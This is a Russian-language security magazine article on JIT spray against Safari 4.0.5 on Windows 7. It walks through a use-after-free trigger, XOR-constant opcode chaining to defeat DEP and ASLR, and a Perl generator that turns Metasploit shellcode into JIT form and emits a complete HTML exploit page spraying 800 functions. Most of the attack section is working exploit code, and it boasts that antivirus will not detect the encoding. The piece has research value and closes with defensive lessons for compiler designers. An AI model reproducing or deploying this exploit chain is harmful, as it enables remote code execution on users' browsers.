Рабочий эксплойт за 6 секунд

И вновь на страницах нашего журнала тема JIT SPRAY. В этот раз мы не будем использовать Flash-плеер и ActionScript, а рассмотрим возможности браузера Safari и его JIT-движка для JavaScript. Покажем, как в течение 6 секунд можно обойти DEP и ASLR в Windows 7 и проэксплуатировать уязвимость в самом браузере или его плагине.

 

Если не надоело...

Итак, почему же мы вновь вернулись к этой теме? Дело в том, что при подготовке к прошедшей в прошлом месяце конференции «Hack In The Box» в Амстердаме и ускорении времени работы JIT SPRAY (с 8 минут до 6 секунд) с помощью модифицированного EGG-HUNTER шеллкода (про этот вид шеллкода можно было прочитать в статье Алексея Тюрина) в контексте компилятора JIT выяснилось, что в новом релизе Flashплеера версии 10.1 изменилась модель компилятора, и JIT SPRAY больше не работает. За три недели до начала конференции мне надо было что-то показать коллегам, чтобы не ехать в страну мельниц и тюльпанов совсем уж с баяном, отсюда и этот материал, но начнем по порядку...

 

Зачем?

Очень большая часть темного бизнеса держится на уязвимостях в браузерах и плагинах к нему. Но с ростом популярности Windows 7 возникает проблема грамотной эксплуатации уязвимостей, так как защитные механизмы DEP (предотвращает выполнение кода из неисполняемой области памяти) и ASLR (делает адреса модулей и библиотек случайными) делают классические методы вроде HEAP SPRAY неэффективными.

Тем не менее, исследователи показывают слабости в этих механизмах, дабы разработчики не расслаблялись и знали, что этого недостаточно. Благодаря работе Диониса, показавшего JIT SPRAY в Flash-плеере до того, как это сделали черные шляпы, Adobe смогла исправить код JITкомпилятора и тем самым снизила уровень угрозы для своих пользователей. Так что же такое JIT?

 

JUST-IN-TIME

Just-In-Time компилятор преобразует код, написанный на языке высокого уровня, в машинный код, и сохраняет этот код в оперативной памяти, чтобы приложение смогло исполнить его, так сказать, на лету. Алгоритмы JITкомпилятора могут быть разными, и разные JIT-компиляторы работают поразному (прости за тавтологию :). Дионис Блазакис в своей работе нашел, что компилятор для ActionScript (скриптовый язык для Flash-приложений) сохраняет значения в памяти как есть. Мне же удалось обнаружить аналогичную ситуацию в компиляторе JavaScript в браузере Safari для Windows.

Напишем простейший код на JavaScript, выполняющий операцию XOR:

<SCRIPT>
function jit_() {
var y=( 0x11111111^
0x22222222^
0x33333333^
0x44444444^
0x55555555^
0x66666666^
0x77777777^
0x88888888);
return y;
}
</SCRIPT>

Чтобы высчитать значение Y, движок JavaScript в браузере должен посчитать XOR, поэтому в памяти процесса создается страница, и туда заносится скомпилированный JIT-код, которому, в свою очередь, передается управление при вызове функции jit_():
. . .
04450432 81F033333333 XOR EAX, 33333333
04450438 894708 MOV [EDI+8], EAX
0445043B 8B4708 MOV EAX, [EDI+8]
0445043E 8B570C MOV EDX, [EDI+C]
04450441 83FAFF CMP EDX, -1
04450444 0F8529010000 JNZ 04450573
0445044A 81F044444444 XOR EAX, 44444444

. . .

Данный код в памяти появляется сразу после вызова jit_(). Первая колонка — адрес, вторая — машинные коды, третья — код на ассемблере (все значения в HEX’ах). Как видно, аргументы оператора XOR передаются в память как есть, сама память помечена как доступная для чтения, записи и исполнения — RWX (в Flash было только RX). Но главное разочарование — аргументы в памяти находятся далеко друг от друга, на расстоянии 20 байт. В Flash-плеере же разница в один байт. Итак, как это можно использовать для обхода DEP и ASLR? Для начала выберем уязвимость, на которой будем проводить опыты.

 

Уязвимость

Повторное использование освобожденной памяти в Safari 4.0.5. Эту уязвимость я уже описывал в одном из прошлых обзорах, суть ее проста — удаляем родительский объект, при этом сохраняя указатель на него, потом вызываем метод, используя сохраненный указатель. В итоге берется значение из поврежденной памяти (которая освободилась). При этом значение указателя из таблицы vtable оказывается переписанным аргументом метода. Так мы захватываем контроль, а именно — регистр EIP:

var a = parent; // Указатель на родительский элемент
var buf = make_buf(unescape('%u0101%u0101'), 63000);
a.prompt(alert);
// заполняем память значением 0x01010101
a.prompt(buf);
a.close(); // удаляем родительский объект
// указатель на функцию promt() теперь = 0x01010101
a.prompt(alert);

 

JIT SPRAY

Ну вот, мы имеем уязвимость и можем передавать управление по любому адресу. Обычно управление передают туда, где лежит шеллкод. Для этого раньше память заполняли большими блоками в памяти (в куче) с шеллкодом. Если таких кусков очень много, то угадать адрес было легко. Только вот с появлением DEP все это бесполезно, так как шеллкод из кучи не будет исполняться. Методика обратно-ориентированного программирования также неприменима, потому что все модули поддерживают ASLR, и адреса нужных инструкций нам неизвестны. Для таких безвыходных ситуаций применим возможности JIT-компилятора, которые мы описали выше.

Если написать несколько сотен функций jit_() и выполнить их, то память процесса заполнится блоками памяти с JIT-кодом. Память эта исполняема, но как угадать ее адрес? Если XOR-строка будет достаточно большой, память для каждого JIT-блока будет выделяться по адресу с предсказуемыми младшими разрядами в адресе — 0x0000. Это значит, что по адресу 0xXXYY0000 будет начинаться скомпилированный JIT-блок с нашими аргументами. Если таких блоков будет достаточно много, то 0xXXYY мы можем легко угадать, как в аналогии с Heap Spray. Но почему же не работает ASLR?

Почему 0xXXYY не такие случайные? На самом деле ASLR работает, но только когда Safari пытается выделить первый блок для самой первой jit_() функции. Все последующие выделения памяти идут последовательно друг за другом. Это позволяет нам заполнить с вероятностью 99% середину памяти процесса, скажем, адреса 0x0606000, 0x07070000 и т.д. (см. рисунок). Если каждый JIT-блок будет размером меньше чем 0x010000, тогда память будет расти равномерно, то есть, к примеру, адрес блока N есть 0x06060000, тогда адрес блока N+1 будет 0x06070000 и т.д. Осталось только определить младшие разряды адреса, чтобы указывать в аккурат на наш аргумент. Тут тоже все просто, так как смещение от начала блока до начала кода с XOR всегда постоянное. Дабы избежать нулевых байт в адресе ищем первый аргумент, в младших разрядах адреса не будет нулевых байтов, и первый такой адрес оказался 0x0104 со значением десятого аргумента для XOR. В итоге окончательный указатель будет 0xXXYY0104, где XXYY могут быть любым значением из центральной части карты памяти, например 0x0607 или 0x0808 и т.д. Таким образом, ASLR побежден.

 

Инъекция кода

Допустим, мы передали управление по адресу 0x07070104, там у нас значение 10-го аргумента из XOR-строки. Предположим, десятый параметр для XOR равен 0x01020304, а одиннадцатый — 0x1a1b1c1d, тогда по адресу 0x07070104 будет следующий код:
. . .
07070104 0403 ADD AL, 3 ; 10-е значение
07070106 0201 ADD AL, [ECX] ; вторая часть
-- вырезано 12 байт –
0707011A 81F01D1C1B1A XOR EAX, 1A1B1C1D ; 11 значение
с XOR
. . .

Так как у нас LITTLE-ENDIAN система, то процессор берет значения «задом наперед», и вместо 0x0304 мы можем написать любые команды в оп-кодах. А вот 0x0201 мы должны заменить строго на 14EB (EB14 = JMP +0x14), чтобы передать управление на одиннадцатый параметр. Когда мы говорили про Flash, было легче, так как там параметры шли один за другим, тут же у нас разрыв в 20 (0x14) байт, поэтому последние два байта надо «тратить» на переход между параметрами. К примеру, десятый и одиннадцатый параметр:

..^0x14EB9090^0x14EBCC90^..

Будут скомпилированы в:
. . .
07070104 90 NOP
07070105 90 NOP
07070106 EB14 JMP 0707011C
-- вырезано 14 байт –
0707011C 90 NOP
0707011D CC INT3
0707011E EB14 JMP …
. . .

У нас получилась связь между параметрами и выполнение кода, сначала пустые операторы, а затем прерывание. Итак, DEP мы тоже обошли...

 

JIT-шеллкод

Теперь нам надо написать связанный шеллкод, который мы будем внедрять в память с помощью XOR в JavaScript. Дело кажется очень трудным, так как у нас есть всего два байта на команду. В Flash мы могли использовать и трех- и пятибайтные команды, но тут у нас жесткое ограничение. Кажется, что дело — труба, но вспомним еще одно важное отличие между JIT SPRAY в Flash и Safari — права на память.

В Flash они были «R-X» (чтение и исполнение), а вот в Safari — «RWX», то есть мы можем еще и писать в память. Никогда не оставляй исполняемую память доступной на запись, ибо этот, казалось бы, маленький недочет делает возможным внедрение шеллкода. Поясню: мы заполнили память RWXблоками и, допустим, передали управление на JIT-блок 07070000. Там у нас будет связанный шеллкод с командами по два байта.

Двух байт вполне достаточно для операции копирования — MOV [ECX], EAX (0x8901 в оп-кодах). Если ECX будет указывать на следующую страницу — 0x07080000, а в EAX будут содержаться первые четыре байта от шеллкода из метасплойта, то произойдет копирование шеллкода в RWX-память (W позволит нам делать это). Когда таким образом мы скопируем весь метасплойт-шеллкод кусками по четыре байта через регистр EAX, по адресу 0x0708000 будет лежать боевой шеллкод, причем в исполняемой памяти. Далее делаем JMP ECX (0xFFE1 — также два байта) на эту память, и код оттуда исполнится без лишних вопросов.

 

Два байта боли

Мы умеем копировать и передавать управление с помощью регистров. Двух байт для этого достаточно, но прежде всего надо научиться с помощью этих двух байт заносить произвольные значения в регистры. MOV REG, VALUE занимает 5 байт. С помощью двух байт мы можем заносить значения только в младшие разряды регистра. Для этого будем использовать MOV AL, 01 (0xB001) и MOV AH, 02 (0xB402), так мы занесли в младшие разряды EAX 0x0201, и регистр в общем содержит 0xXXYY0201. Как же можно занести значение в старшие разряды? Первое, что мне пришло в голову — это побитовый сдвиг влево — SHL EAX, 1 (0xD1E0). Если мы хотим занести в регистр ECX-адрес блока, куда хотим копировать шеллкод, то заносим сначала в младшие регистры значение старших, потом делаем шестнадцать операций сдвига влево... и в итоге значения младших разрядов сдвигаются на место старших.

Потом заносим еще раз уже значения младших разрядов. План хорош, да оказалось, что не очень — дело в том, что шеллкод получается очень большой, и из-за этого долго компилируется JIT-компилятором, но это не главное. Хуже всего то, что размер блока с компилированным кодом становится больше 0x10000 байт, а это значит, что блоки идут друг от друга с двойным разрывом: адрес блока N есть 0x06060000, тогда адрес блока N+1 будет 0x06080000 (а должно быть 0x06070000). Таким образом, работоспособность JIT SPRAY зависит от четности третьего разряда. Короче говоря, стабильность работы — 50%. Очевидно, что проблема в шестнадцати операциях сдвига на каждые четыре байта копируемого шеллкода. Надо искать другой путь. Можно, например, заменить все сдвиги на одну операцию умножения. То есть 0x0000ABCD*0x10000=0xABCD0000.

Значит, можно написать JIT-шеллкод, который заносит произвольные значения в регистры ECX и EAX, а потом копирует по адресу ECX значение EAX. Затем добавляем к ECX четыре байта и заносим в EAX следующую часть метасплойтовского шеллкода.

 

Автоматизация

Теперь пора написать генератор шеллкода, который согласно вышеупомянутому алгоритму будет генерить JIT-шеллкод. Начнем труд! В метасплойте генерируем шеллкод в формате Perl. Я выбрал запуск калькулятора, без всяких кодировок шеллкода. Нам это ни к чему, во-первых, потому что JIT-шеллкод и так неслабо перекодирует оригинальный шеллкод — ни один антивирус не узнает.

Во-вторых, размер кода меньше. Итак, есть шеллкод в формате Perl, который мы запихнем в переменную $shellcode. Зададим старшие байты страницы, куда будем копировать этот шеллкод. Я выбрал 0x080A0000. Так как младшие байты нас не интересуют, задаю только старшие:

#Address with RWX - place for shellcode
$addr="\x08\x0A"; #0x080A0000

Поскольку весь шеллкод копируем по четыре байта, необходимо выровнять его, для этого считаем размер шеллкода и делим с остатком на 4. Если остаток 1, 2 или 3, то добавляем к концу шеллкода мусора:

$len=length($shellcode);
$add=$len % 4;
for($i=0;$i<$add;$i++)
{
$shellcode.="\xCC";
}

Забудем на время про шеллкод, необходима подготовка; как мы помним, для того, чтобы 0xXXYY0104 указывал на начало кода, необходимо, чтобы JIT-код начинался с десятого аргумента. Поэтому прежде всего забьем первые девять аргументов:

$offsetJit="\"0x22222222^\"+/* START OF OFFSET */\n".
--------ЕЩЕ 7 таких строчек ----------"\"0x22222222^\"+ /*SHELLCODE BEGINS*/\n";

Как видишь, я задаю XOR в виде строки для JavaScript, поэтому добавляю зафильтрованные кавычки и символ +, что есть конкатенация для строк в JavaScript. Потом я просто выполняю eval() для этой строки, и JavaScript поймет, что эту строку следует скомпилировать. После сдвига до десятого параметра необходимо начать подготовку к копированию. Для начала надо иметь в регистре ESI множитель 0x10000 для того, чтобы потом можно было быстро переносить значения из младших разрядов в старшие:

$initJit="\"0x14EBC031^\"+//XOR EAX,EAX\n".
"\"0x14EB01B4^\"+\n".
"\"0x14EB00B0^\"+\n".
"\"0x14EBE0F7^\"+// EAX=0x100*0x100\n".
"\"0x14EBF08B^\"+// MOV ESI, EAX ;ESI=00010000 - MUL factor\n".

Параметр идет задом наперед, чтобы потом правильно интерпретироваться процессором. То есть, аргумент для XOR 0x14EBC031 и есть наш десятый параметр. При перехвате контроля мы перепишем EIP 0x07070104, что будет указывать прямо на 0x31C0EB14. 0x31С0 — это «XOR EAX, EAX». Так мы обнулим регистр, а следующая команда — 0xEB14 — сделает JMP +14 байт на следующий параметр — 0x14EB01B4. Читая задом наперед, получаем «MOV AH, 01 / JMP 14». То есть, в регистр AH заносится единица, а далее — прыжок на следующий параметр, там уже обнуляется AL. Таким образом, EAX=00000100. Тринадцатый параметр делает «MUL EAX», то есть 0x100 умножает на 0x100 и в EAX заносится результат — 0x00010000.

Далее опять прыжок, и в четырнадцатом параметре происходит копирование EAX в ESI. Теперь в ESI у нас требуемый множитель. Далее необходимо, чтобы ECX указывал на память, куда мы копируем шеллкод. Он у нас в переменной $addr.

sprintf("\"0x14EB%02lxB4^\"+\n",ord
substr($addr,0,1)).
sprintf("\"0x14EB%02lxB0^\"+\n",ord
substr($addr,1,1)).

Этот код генерирует пятнадцатый и шестнадцатый параметр, занося первый и второй разряд $addr в регистры AH и AL. Выходит, что EAX = 0001080A. Единица в третьем разряде осталась после предыдущих операций, но она нам не мешает. Теперь переносим значения из младших разрядов EAX в старшие и копируем значение в ECX:

"\"0x14EBE6F7^\"+ // MUL ESI; EAX - RWX memory for shellcode\n".
"\"0x14EBC88B^\"+ // mov ecx, eax ; ECX - pointer on RWE mem\n".

Понятно, что значение 0xEB14 всегда будет в наших параметрах, чтобы передать управление следующим. Теперь у нас в ECX адрес 080A0000, осталось занести в EBX шаг копирования — четыре байта:
"\"0x14EBDB33^\"+ // xor ebx, ebx\n".
"\"0x14EB04B3^\"+ // mov bl, 4 ; EBX = 0x4 - step \n";

На этом подготовка завершена. В ECX — указатель на страницу памяти, куда будем копировать шеллкод, в ESI — множитель, в EBX — шаг сдвига. Начнем копировать шеллкод. Сначала скопируем байты задом наперед.

#Convert shellcode into JIT code
for($i=0; $i<length($shellcode); $i+=4)
{
my $val="";
$byte1=substr($shellcode,($i+3),1);
$byte2=substr($shellcode,($i+2),1);
$byte3=substr($shellcode,($i+1),1);
$byte4=substr($shellcode,($i),1);

Так вот, мы копируем байты в переменные $byteX. Потом можно удобно заносить их в EAX:

$val.="\"0x14EBC031^\"+ //XOR EAX,EAX\n";
$val.= sprintf("\"0x14EB%02lxB4^\"+ //MOV AH\n",ord $byte1);
$val.= sprintf("\"0x14EB%02lxB0^\"+ //MOV AL\n",ord $byte2);
$val.= "\"0x14EBE6F7^\"+ //MUL ESI\n";
$val.= sprintf("\"0x14EB%02lxB4^\"+ //MOV AH\n",ord $byte3);
$val.= sprintf("\"0x14EB%02lxB0^\"+ //MOV AL\n",ord $byte4);

Сначала обнуляем EAX, потом копируем $byte1 в AH, а $byte2 в AL. После чего делаем MUL ESI, другими словами, EAX=EAX*ESI. В ESI у нас множитель, который сделает так, что $byte1 и $byte2 окажутся на месте старших разрядов регистра EAX. После этого заносим в младшие разряды EAX (регистры AH и AL) $byte3 и $byte4. После этого мы имеем в регистре EAX четыре байта из шеллкода. Выполняем копирование в исполняемую память:

$val.="\"0x14EB0189^\"+ // mov [ecx], eax ;\n”.
"\"0x14EBCB03^\"+ // add ecx, ebx\n”;
$copyJit.=$val;

По указателю ECX (0x080A0000) копируем первые четыре байта шеллкода. Затем увеличиваем ECX на EBX, то есть на четыре. Так как у нас цикл по всей длине шеллкода, разбитой на 4 байта, то на второй итерации в EAX будут уже следующие четыре байта шеллкода, а ECX уже увеличен размер шага, и будет увеличиваться в конце каждого цикла. Все это (в переменной $copyJit) обеспечит нам копирование шеллкода в память по адресу 0x080A0000 (из переменной $addr). После акции копирования надо передать управление:

$jumJit="\"0x14EB00B5^\"+ // mov ch, 00\n".
"\"0x14EB00B1^\"+ // mov cl, 00 ;\n".
"\"0x14EBE1FF^\"+ // JMP ECX ; PROFIT! \n";

Просто обнуляем младшие разряды ECX (CH и CL), в итоге ECX у нас опять равен 0x080A0000, и делаем JMP ECX, после чего должен исполняться код по адресу ECX, а там, как известно, шеллкод из метасплойта. Соберем же весь конструктор, для этого в переменную $page запишем начало генерируемой HTML-странички с эксплойтом:

$page="
<script>
function make_buf(payload, len) {
while(payload.length < (len * 4))
payload += payload;
payload = payload.substring(0, len);
return payload;
}
function fff()
{
var a = parent;
var buf = make_buf(unescape('%u0104%u0707'),
68000);
a.prompt(alert);
a.prompt(buf);
a.close();
a.prompt(alert);
}

Не забудем добавить JavaScript-переменные для наших сгенерированных строк:
var SPRAY=\"\";
var JIT=\"{ \"+
\"var y=(\"”;

Напомню, что при заносе в переменную кавычки экранируем. В общем, мы объявили переменную SPRAY и JIT. В JIT мы занесли открытие блока и переменную Y. Далее сделаем конкатенацию переменной $page и нашего сгенерированного JIT-кода: $offsetJi t.$initJit.$copyJit.$jumJit. Таким вот образом мы как бы занесли в переменную Y для JavaScript весь JIT-шеллкод, который заранее генерировали в Perl’е. Собственно, закрываем переменную и блок в переменной $endPage:

$endPage="\"0x14ebcccc\"+
\");\"+
\"return y; }\";

В конце блока мы еще добавили «return y;», так как этот блок являет ся кодом функции. Нам нужно много функций, чтобы обеспечить заполнение памяти и обойти ASLR, поэтому генерируем множество функций с таким кодом и вызываем их:

var zl=\"zlo_\";
for (var i=1;i<800;i++)
{
SPRAY+=\"function \"+zl+i+\"()\"+JIT+\"
\"+zl+i+\"();\";
}

JavaScript сгенерирует код в переменной SPRAY с телом 800 функций zlo_X() и вызовом. Вместо X будет порядковый номер функции. Но все это скрыто от глаз, так как строка генерируется и исполняется на лету... Кстати, для исполнения нужно добавить вызов eval():

eval(SPRAY);
fff();
</script>

После eval(), которая заполонит память нашими страницами с кодом, вызываем fff() — эта функция эксплуатирует описанную в начале статьи уязвимость, переписывая регистр EIP значением 0x007070104, что передаст управление нашему коду, который скопирует метасплойтовский шеллкод по адресу 0x080A0000 и передаст уже ему управление. Время работы эксплойта с JIT SPRAY — от 6 до 10 секунд.

 

Выводы

Очевидно, что разработка JIT-компилятора должна учитывать многие нюансы. Следует не только избегать ошибок, приводящих к перехвату управления, но и делать код таким, чтобы он не сводил функционал защиты ОС к нулю. Выполнение простых правил вроде «не оставлять память доступной для записи и исполнения и не заносить значения пользователя в исполняемую память» сделали бы невозможным использование JIT SPRAY. Так что безопасность — это не только «безопасное программирование», но и безопасная архитектура. Отмечу, что компания VUPEN через неделю после доклада о JIT SPRAY в браузере Safari выпустила 0day-эксплойты для своих клиентов с использованием этой методики. Кроме того, я не имею возможности проверить JIT-движок Safari в Mac OS или iPhone/iPad, но если там архитектура аналогичная, то значит, что эти платформы в наибольшей опасности, так как браузер по обыкновению используется именно на них.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии